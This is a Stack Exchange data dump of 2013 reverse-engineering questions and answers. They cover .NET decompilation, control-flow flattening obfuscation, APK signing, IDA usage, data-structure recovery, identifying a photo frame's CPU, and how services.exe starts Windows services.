  <row Id="2217" PostTypeId="1" CreationDate="2013-06-09T14:11:53.827" Score="7" ViewCount="4863" Body="&lt;p&gt;Is reverse engineering managed code from .NET easier or harder?  I think it might be Java bytecode that can be easily converted back into source code.  Is managed code from .NET similar, and why?&lt;/p&gt;&#xA;" OwnerUserId="2192" LastActivityDate="2013-06-11T07:05:11.623" Title="Reverse Engineering Managed Code" Tags="|.net|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2218" PostTypeId="2" ParentId="2217" CreationDate="2013-06-09T15:02:24.343" Score="7" Body="&lt;p&gt;Reverse engineering .net without any anti-reverse engineering protections is trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is that programs like these are compiled down to an intermediate language that we call &lt;strong&gt;bytecode&lt;/strong&gt; which contains high level information (symbol names,data definitions etc) making it possible to recover source code almost similar to the original which simplifies the reverse engineering process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that obfuscation is very common, so take a look at these &lt;strong&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Category%3a.NET_Deobfuscation_Tools&quot; rel=&quot;nofollow&quot;&gt;.NET Deobfuscation Tools&lt;/a&gt;&lt;/strong&gt; posted at &lt;strong&gt;&lt;a href=&quot;http://www.woodmann.com/forum/activity.php&quot; rel=&quot;nofollow&quot;&gt;woodmann&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So is .NET malware usually compiled into native images and obfuscated, or is it usually just obfuscated .NET code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I doubt malware authors want something like .net converted to native code.&lt;br&gt;&#xA;&lt;br/&gt;&#xA;The reason behind someone using .net malware is i guess because it can run on many platforms without caring about processor architecture so in .net malware they definitely want CIL to be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also think about the different languages .net supports.&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="2045" LastEditDate="2013-06-11T07:05:11.623" LastActivityDate="2013-06-11T07:05:11.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2219" PostTypeId="2" ParentId="2217" CreationDate="2013-06-09T16:13:33.553" Score="1" Body="&lt;p&gt;Note that .NET code can also be compiled into native images as described by MS in the article &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ht8ecch6%28v=vs.90%29.aspx&quot; rel=&quot;nofollow&quot;&gt;Compiling MSIL to Native Code&lt;/a&gt;.&#xA;this is usally used for obivous security reasons :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Code harder to reverse engineer&lt;/li&gt;&#xA;&lt;li&gt;No need of the JIT compiler at runtime&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2214" LastActivityDate="2013-06-09T16:13:33.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2220" PostTypeId="2" ParentId="2217" CreationDate="2013-06-09T19:22:24.723" Score="3" Body="&lt;p&gt;In general, bytecode is easier to reverse engineer than compiled code.  It (usually) contains a lot more metadata and uses an idealized computing model.  A good obfuscater can make this much harder, but still not nearly as complex as native code written with reverse engineering in mind.  This is because bytecode languages don't allow nearly as many 'tricks' as real-world processors because they are designed to be higher level, safer, and portable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To address your specific issue, you can see how simple the CIL for .NET is at &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Intermediate_Language&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;, and MS provides a &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/f7dy01k1%28v=VS.80%29.aspx&quot; rel=&quot;nofollow&quot;&gt;disassembler&lt;/a&gt; in their .NET SDK.  Higher-level tools are just a google away.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-06-09T19:22:24.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2221" PostTypeId="1" AcceptedAnswerId="2224" CreationDate="2013-06-10T13:46:25.980" Score="29" ViewCount="20507" Body="&lt;p&gt;I recently heard about the &amp;quot;control-flow flattening&amp;quot; obfuscation which seems to be is used to break the structure of the CFG of the binary program (see &lt;a href=&quot;https://www.sstic.org/2013/presentation/execution_symbolique_et_CFG_flattening/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Symbolic Execution and CFG Flattening&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Can somebody make an explanation of what is its basic principle and, also, how to produce such obfuscation (tools, programming technique, ...) ? And, it would be nice to know if there are ways to extract the real shape of the control-flow of the program.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2023-01-09T13:47:09.540" LastActivityDate="2023-01-09T13:47:09.540" Title="What is a &quot;control-flow flattening&quot; obfuscation technique?" Tags="|obfuscation|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="2222" PostTypeId="2" ParentId="2221" CreationDate="2013-06-10T14:53:04.427" Score="29" Body="&lt;p&gt;From &lt;a href=&quot;http://www.inf.u-szeged.hu/%7Eakiss/pub/pdf/laszlo_obfuscating.pdf&quot; rel=&quot;noreferrer&quot;&gt;this paper&lt;/a&gt; by Timea Laszlo and Akos Kiss :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The basic method for ﬂattening a function is the following.&lt;/p&gt;&#xA;&lt;p&gt;First, we break up the body of the function to basic blocks, and then we put all&#xA;these blocks, which were originally at diﬀerent nesting levels, next&#xA;to each other.&lt;/p&gt;&#xA;&lt;p&gt;The now equal-leveled basic blocks are encapsulated in&#xA;a selective structure (a switch statement in the C++ language) with&#xA;each block in a separate case, and the selection is encapsulated in&#xA;turn in a loop.&lt;/p&gt;&#xA;&lt;p&gt;Finally, the correct ﬂow of control is ensured by a&#xA;control variable representing the state of the program, which is set&#xA;at the end of each basic block and is used in the predicates of the&#xA;enclosing loop and selection.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;code&gt;Image showing how control-flow flattening obfuscation alters code that contains loop structures.&lt;/code&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hnlzc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;code&gt;A simple example:&lt;/code&gt;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int original()&#xA;{&#xA;    print &amp;quot;Do&amp;quot;&#xA;    print &amp;quot;you&amp;quot;&#xA;    print &amp;quot;like&amp;quot;&#xA;    print &amp;quot;milk?&amp;quot;&#xA;}&#xA;&#xA;&#xA;int obfuscated()&#xA;{&#xA;    int ctrFlowVar = 1;&#xA;&#xA;    while(ctrFlowVar != 0)&#xA;    {&#xA;        switch(ctrFlowVar)&#xA;        {&#xA;            case 1:&#xA;                print &amp;quot;do&amp;quot;&#xA;                ctrFlowVar = 2;&#xA;                break;&#xA;            &#xA;            case 2:&#xA;                print &amp;quot;you&amp;quot;&#xA;                ctrFlowVar = 3;&#xA;                break;&#xA;            &#xA;            case 3:&#xA;                print &amp;quot;like&amp;quot;&#xA;                ctrFlowVar = 4;&#xA;                break;&#xA;            &#xA;            case 4:&#xA;                print &amp;quot;milk?&amp;quot;&#xA;                ctrFlowVar = 0;&#xA;                break;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you are familiar with how &lt;code&gt;switch&lt;/code&gt; statements are written in &lt;code&gt;assembly&lt;/code&gt; (i know &lt;strong&gt;2&lt;/strong&gt; ways, the &lt;strong&gt;if-style&lt;/strong&gt; and the &lt;strong&gt;jumptable&lt;/strong&gt; one) then the above example is easy to de-obfuscate.The &lt;code&gt;break;&lt;/code&gt; instruction is a &lt;code&gt;jmp&lt;/code&gt;.You could make it jump to the block thats supposed to be next.&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="-1" LastEditDate="2020-08-05T20:23:26.137" LastActivityDate="2020-08-05T20:23:26.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2223" PostTypeId="1" AcceptedAnswerId="2225" CreationDate="2013-06-10T16:04:42.910" Score="5" ViewCount="1493" Body="&lt;p&gt;I am making a system in which the users can create Android applications. I want them to give an option to download a &lt;a href=&quot;http://developer.android.com/tools/building/building-cmdline.html#DebugMode&quot; rel=&quot;noreferrer&quot;&gt;debug apk&lt;/a&gt; so that they can try it out first. After that, they have to pay for it to get the &lt;a href=&quot;http://developer.android.com/tools/building/building-cmdline.html#ReleaseMode&quot; rel=&quot;noreferrer&quot;&gt;apk in release mode&lt;/a&gt;, so that it can be distributed in the Google Play Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I of course don't want them to be able to reverse-engineer the debug apk so that they can extract the needed files from it and then sign it themselves. Hence my question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to reverse engineer a debug apk to extract the classes and everything needed to build it in release mode?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, would there be any way to secure the debug versions so that it isn't possible anymore?&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastActivityDate="2013-06-19T12:18:43.357" Title="Can a debug-apk be reverse engineered to make it a release-apk?" Tags="|decompilation|unpacking|android|copy-protection|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2224" PostTypeId="2" ParentId="2221" CreationDate="2013-06-10T16:28:28.067" Score="23" Body="&lt;p&gt;For a good example of this obfuscation, check Apple's FairPlay code, e.g. iTunes or iOS libs. Here's a typical graph of a function which had this obfuscation applied:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xk4L6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, all edges between basic blocks - both conditional and unconditional - has been redirected to a dispatcher node which uses a new artificial variable to decide which block should be jumped to next. This variable is updated at the end of each separated basic block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the dispatcher node:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LDR    R3, =0xF26A85D2&#xA;ADD    R3, R2, R3&#xA;CMP    R3, #0x40 ; switch 65 cases&#xA;ADDLS  PC, PC, R3,LSL#2 ; switch jump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It uses &lt;code&gt;R2&lt;/code&gt; as the control value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's one of the basic blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LDR  R2, =0x853FD863 ; jumptable 00532EFC case 33&#xA;LDR  R1, [SP,#0x130+var_108]&#xA;STR  R2, [SP,#0x130+var_134]&#xA;LDR  R2, =0xD957A31&#xA;STR  R1, [SP,#0x130+var_44]&#xA;B    loc_532ED0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It updates &lt;code&gt;R2&lt;/code&gt; with the value which will be used to jump to the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recovering it shouldn't be &lt;em&gt;too&lt;/em&gt; difficult in most cases - just track the control variable updates and replace jumps to the dispatcher node with jumps to the next block corresponding to the new control variable value.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-06-10T16:28:28.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2225" PostTypeId="2" ParentId="2223" CreationDate="2013-06-10T19:02:27.447" Score="7" Body="&lt;p&gt;The difference between a debug apk and a release apk is that a debug apk is signed by a particular key which is provided with the SDK, whereas a release apk is signed by some other key. There's nothing to reverse engineer: all you have to do to make a release apk and sign it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nobody but you can create an apk signed by you. But anyone can make their own release apk by signing them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution in your case would be to produce a binary including some DRM and refuse to run except on your customer's pre-registered device. How to implement such DRM, especially while letting your customer debug his applications, is left as an exercise to the reader.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-06-10T19:02:27.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2226" PostTypeId="1" CreationDate="2013-06-10T20:51:11.970" Score="8" ViewCount="22189" Body="&lt;p&gt;IDA has disassembled the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg019:C0292548             loc_C0292548                            ; CODE XREF: sub_C0292414+11Cj&#xA;seg019:C0292548 02 00 54 E3                 CMP     R4, #2&#xA;seg019:C029254C 0F 00 00 1A                 BNE     loc_C0292590&#xA;seg019:C0292550 F0 30 9F E5                 LDR     R3, =0xC0298608&#xA;seg019:C0292554 02 2C A0 E3+                MOV     R2, 0x205&#xA;seg019:C029255C 00 30 93 E5                 LDR     R3, [R3]&#xA;seg019:C0292560 02 00 53 E1                 CMP     R3, R2&#xA;seg019:C0292564 04 00 00 1A                 BNE     loc_C029257C&#xA;seg019:C0292568 D4 00 9F E5                 LDR     R0, =0xC02860F0&#xA;seg019:C029256C 53 FC FF EB                 BL      sub_C02916C0&#xA;seg019:C0292570 2B 30 A0 E3                 MOV     R3, #0x2B&#xA;seg019:C0292574 7F 20 A0 E3                 MOV     R2, #0x7F&#xA;seg019:C0292578 08 00 00 EA                 B       loc_C02925A0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I hit enter on &lt;code&gt;0xC02860F0&lt;/code&gt;, it takes me to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg019:C02860F0 50                          DCB 0x50 ; P&#xA;seg019:C02860F1 00                          DCB    0&#xA;seg019:C02860F2 6F                          DCB 0x6F ; o&#xA;seg019:C02860F3 00                          DCB    0&#xA;seg019:C02860F4 77                          DCB 0x77 ; w&#xA;seg019:C02860F5 00                          DCB    0&#xA;seg019:C02860F6 65                          DCB 0x65 ; e&#xA;seg019:C02860F7 00                          DCB    0&#xA;seg019:C02860F8 72                          DCB 0x72 ; r&#xA;seg019:C02860F9 00                          DCB    0&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is clearly a UTF-16 little-endian string. However, IDA hasn't created any of the appropriate cross-references (^X on the string doesn't list anything). How can I get it to do this? It seems to have done it automatically when I first loaded the code, but I have loaded additional segments since then and it hasn't done the same for them. I tried re-running the autoanalysis with no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose that I could go through the binary with IDAPython and manually create the references to anything that's listed in the Strings window, but this seems very cumbersome given that IDA normally does this for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2017-11-02T08:44:54.580" Title="How can I make IDA see a string reference?" Tags="|ida|strings|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2227" PostTypeId="2" ParentId="2226" CreationDate="2013-06-11T00:16:33.683" Score="12" Body="&lt;p&gt;At &lt;code&gt;0xC02860F0&lt;/code&gt; hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and select unicode to define it as a unicode string. IDA should recognize the reference after you do so.&lt;/p&gt;&#xA;" OwnerUserId="266" LastEditorUserId="53" LastEditDate="2013-06-11T07:02:20.860" LastActivityDate="2013-06-11T07:02:20.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2228" PostTypeId="1" AcceptedAnswerId="2231" CreationDate="2013-06-11T03:13:30.460" Score="9" ViewCount="1852" Body="&lt;p&gt;When I execute a program using IDA's debugger interface, I would like to see the basic blocks that were executed highlighted in the IDB. Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2142" LastActivityDate="2014-11-06T21:45:38.987" Title="Highlight Executed Basic Blocks in IDA" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2229" PostTypeId="2" ParentId="2228" CreationDate="2013-06-11T07:48:02.510" Score="4" Body="&lt;p&gt;I don't know of a ready-made way to achieve that, but you could probably relatively easy write a IDA python script to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, deroko has written a tool, called &lt;a href=&quot;http://deroko.phearless.org/rce.html&quot; rel=&quot;nofollow&quot;&gt;Pinlog&lt;/a&gt; that uses Pin to trace the execution and records a trace which you then parse using IDA script, it ends up highlighting the executed instructions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tool which traces execution of program with Pin, and logs execution path. Produces log file which can be imported into IDA thus parts of code which are executed more times will be highlighted. x32/x64 both Windows and Linux &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-06-11T07:48:02.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2230" PostTypeId="2" ParentId="2226" CreationDate="2013-06-11T12:54:07.270" Score="7" Body="&lt;p&gt;Press &lt;kbd&gt;O&lt;/kbd&gt; (or &lt;kbd&gt;Ctrl+O&lt;/kbd&gt;, depending on segmentation setup).&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-11-02T08:44:54.580" LastActivityDate="2017-11-02T08:44:54.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2231" PostTypeId="2" ParentId="2228" CreationDate="2013-06-11T13:05:40.220" Score="11" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.openrce.org/downloads/details/171&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Stalker&lt;/a&gt;&lt;/strong&gt; is designed to do exactly what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYf7z.gif&quot; alt=&quot;Snippet of Process Stalker&amp;#39;s basic block highlighting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample usage: &lt;a href=&quot;https://www.openrce.org/articles/full_view/12&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.openrce.org/articles/full_view/12&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PowerPoint slides: &lt;a href=&quot;http://2005.recon.cx/recon2005/papers/Pedram_Amini/process_stalking-recon05.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://2005.recon.cx/recon2005/papers/Pedram_Amini/process_stalking-recon05.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-11-06T21:45:38.987" LastActivityDate="2014-11-06T21:45:38.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2232" PostTypeId="1" AcceptedAnswerId="2236" CreationDate="2013-06-11T18:24:18.107" Score="3" ViewCount="375" Body="&lt;p&gt;I have the following data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:004305FC word_4305FC     dw 1583h                &#xA;.data:004305FC                                         &#xA;.data:004305FE word_4305FE     dw 35B6h                &#xA;.data:00430600                 dw 6835h&#xA;.data:00430602                 dw 6553h&#xA;.data:00430604                 dw 6351h&#xA;.data:00430606                 dw 23F5h&#xA;.data:00430608                 dw 6845h&#xA;.data:0043060A                 dw 6344h&#xA;.data:0043060C                 dw 6823h&#xA;.data:0043060E                 dw 2342h&#xA;.data:00430610                 dw 2474h&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, I have the following disassembly of the code accessing the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;mov     eax, [ebp+Variable_1]&#xA;xor     ecx, ecx&#xA;mov     cx, word_4305FE[eax*2]&#xA;...&#xA;mov     eax, [ebp+Variable_1]&#xA;xor     edx, edx&#xA;mov     dx, word_4305FC[eax*2]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like array within another array. Am I correct? If not, what do you think the data structure is? If it is a single array, why is it been accessed through 2 different &quot;heads&quot; &lt;strong&gt;&lt;code&gt;word_4305fc&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;word_4305FE&lt;/code&gt;&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADDED:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is in response to the comments below. Thank you, guys, so much for your input! I really do appreciate it and RE community in general. I feel as if my question needs certain clarification. I do realize that this is an array. I also clearly see that &lt;strong&gt;&lt;code&gt;Variable_1&lt;/code&gt;&lt;/strong&gt; is an index to the array. In addition, I can see iteration. However, it is not my question. What I am really looking for is clarification or possibly an explanation. How would I be able to distinguish if this array is indeed more complex data type? Why did compiler choose to refer to this data type with 2 different angles: using 2 global variables both &lt;strong&gt;&lt;code&gt;word_4305fc&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;word_4305FE&lt;/code&gt;&lt;/strong&gt;? Is there a specific reason for it? Is it an indication of more complex data type? &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-06-11T21:35:57.120" LastActivityDate="2013-06-11T22:15:48.410" Title="What type of data structure is it?" Tags="|disassembly|assembly|ida|struct|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2233" PostTypeId="1" CreationDate="2013-06-11T19:31:27.790" Score="6" ViewCount="390" Body="&lt;p&gt;Recently I received a Digital Photo Frame (Sony C-1000) and since I'll never use it as it is, I thought of playing with it and reprogram it. Anything like managing to print out to screen &quot;Hello world&quot; would be a win.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to understand which CPU is used; next step would be how to access it. Any hint would be great, because I'm not experienced with hardware.&#xA;I opened the device thinking I'd see the CPU, with its model written on top. I think I identified the processor, but the code written on its top did not help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of what it looks like the CPU reads:&#xA;&lt;code&gt;G+ SPMF2892A M0023520 1124&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A piece that I could identify is the RAM:&#xA;&lt;code&gt;EtronTech EM639165TS-6G&#xA;N48AG05AGB640.12ZQ&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2227" LastEditorUserId="189" LastEditDate="2013-06-12T02:08:24.690" LastActivityDate="2013-06-12T10:40:01.023" Title="How do I figure out the which CPU the Sony DPF C-1000 has?" Tags="|hardware|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2234" PostTypeId="2" ParentId="2233" CreationDate="2013-06-11T22:00:22.210" Score="4" Body="&lt;p&gt;Ok.. so here is what I &lt;a href=&quot;http://hackmii.com/2010/04/sunplus-the-biggest-chip-company-youve-never-heard-of/&quot; rel=&quot;nofollow&quot;&gt;gather&lt;/a&gt;. Which leads me to this &lt;a href=&quot;http://www.generalplus.com/product.php?prot_no=8&amp;amp;func=sh&quot; rel=&quot;nofollow&quot;&gt;GeneralPlus link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like it has these interfaces: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;JPEG codec, 6-in-1 card I/F and digital panel I/F&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On that generalplus page if you click on the title of the chip you get a blank frame. The source for that frame has a bit of content in it. After looking through the html code of thier site I found spec listings that failed get filled out as well as php generated datasheet download links that also are messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine if you email them they might possibly send you the link worth a shot at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.generalplus.com/product_detail.php?&amp;amp;psn=U1BNRjI4OTJB&amp;amp;?pdv_no=47&amp;amp;func=dl#doc&quot; rel=&quot;nofollow&quot;&gt;broken html 1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.generalplus.com/product_detail.php?&amp;amp;psn=U1BNRjI4OTJB&quot; rel=&quot;nofollow&quot;&gt;broken spec table&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-06-11T22:34:27.887" LastActivityDate="2013-06-11T22:34:27.887" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2235" PostTypeId="1" AcceptedAnswerId="2237" CreationDate="2013-06-11T22:01:06.090" Score="8" ViewCount="5823" Body="&lt;p&gt;I'm trying to work out the internals of how a Windows process starts and maintains communication with &lt;code&gt;services.exe&lt;/code&gt;. This is on Windows 8 x64, but if you have tips for Windows 7 that is fine too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I figure out &lt;code&gt;services.exe&lt;/code&gt; does something approximately like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PROCESS_INFORMATION     pi;&#xA;    TCHAR                   szExe[] = _T(&quot;C:\\Program Files\\TestProgram\\myWindowsService.exe&quot;);&#xA;    PROCESS_INFORMATION process_information = {0};&#xA;    HKEY hOpen;&#xA;    DWORD dwNumber = 0;&#xA;    DWORD dwType = REG_DWORD;  &#xA;    DWORD dwSize = sizeof(DWORD);&#xA;    STARTUPINFOEX startup_info;&#xA;    SIZE_T attribute_list_size = 0;&#xA;&#xA;    ZeroMemory(&amp;amp;startup_info, sizeof(STARTUPINFOEX));&#xA;&#xA;    // can see EXTENDED_STARTUPINFO_PRESENT is used, but couldn't figure out if any/what attributes are added&#xA;    BOOL status = InitializeProcThreadAttributeList(nullptr, 0, 0, &amp;amp;attribute_list_size);&#xA;    PPROC_THREAD_ATTRIBUTE_LIST attribute_list = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attribute_list_size);&#xA;&#xA;    startup_info.StartupInfo.cb = sizeof(STARTUPINFOEX);&#xA;    startup_info.lpAttributeList = attribute_list;&#xA;    startup_info.StartupInfo.dwFlags = STARTF_FORCEOFFFEEDBACK;&#xA;    startup_info.StartupInfo.wShowWindow= SW_HIDE;&#xA;&#xA;        if(CreateProcess(&#xA;            NULL,&#xA;            szExe,&#xA;            NULL,&#xA;            NULL, &#xA;            FALSE,&#xA;            CREATE_SUSPENDED | &#xA;            CREATE_UNICODE_ENVIRONMENT | &#xA;            DETACHED_PROCESS | &#xA;            EXTENDED_STARTUPINFO_PRESENT,&#xA;            NULL,&#xA;            NULL, &#xA;            &amp;amp;startup_info.StartupInfo, &#xA;            &amp;amp;pi))&#xA;    {&#xA;        HANDLE hEvent;&#xA;        hEvent=CreateEvent(NULL,FALSE,FALSE,NULL); // I traced this call during service sstartup; no idea what purpose it serves?&#xA;&#xA;        ResumeThread(pi.hThread);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now my question is, how does the actual &quot;Start&quot; get communicated to the service? I know the service itself does something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;main entry point (à la console program)&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;advapi!StartServiceCtrlDispatcher&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Goes to &lt;code&gt;sechost!StartServiceCtrlDispatcher&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;This jumps into &lt;code&gt;sechost!QueryServiceDynamicInformation&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out what method in &lt;code&gt;services.exe&lt;/code&gt; is used to hook into this start process. Ideally I want to be able to write a PoC code that can &quot;launch&quot; a simple Windows service and get it to start, without it being registered as a Windows Service, i.e. wrapped inside a &quot;stand alone service control manager&quot;. I'm looking for some tips of what best to look for next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a reference to &lt;code&gt;services.exe&lt;/code&gt; in &lt;code&gt;\\pipe\ntsvcs&lt;/code&gt;. The &lt;a href=&quot;http://en.wikipedia.org/wiki/Service_Control_Manager&quot;&gt;Wikipedia article about SCM&lt;/a&gt; refers to &lt;code&gt;\Pipe\Net\NtControlPipeX&lt;/code&gt; being created, but as far as I can tell, that is in Windows 2000 (maybe XP) but I can't see this happening on Windows 8.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="182" LastEditDate="2013-06-11T22:17:18.243" LastActivityDate="2013-06-12T14:58:54.090" Title="How does services.exe trigger the start of a service?" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
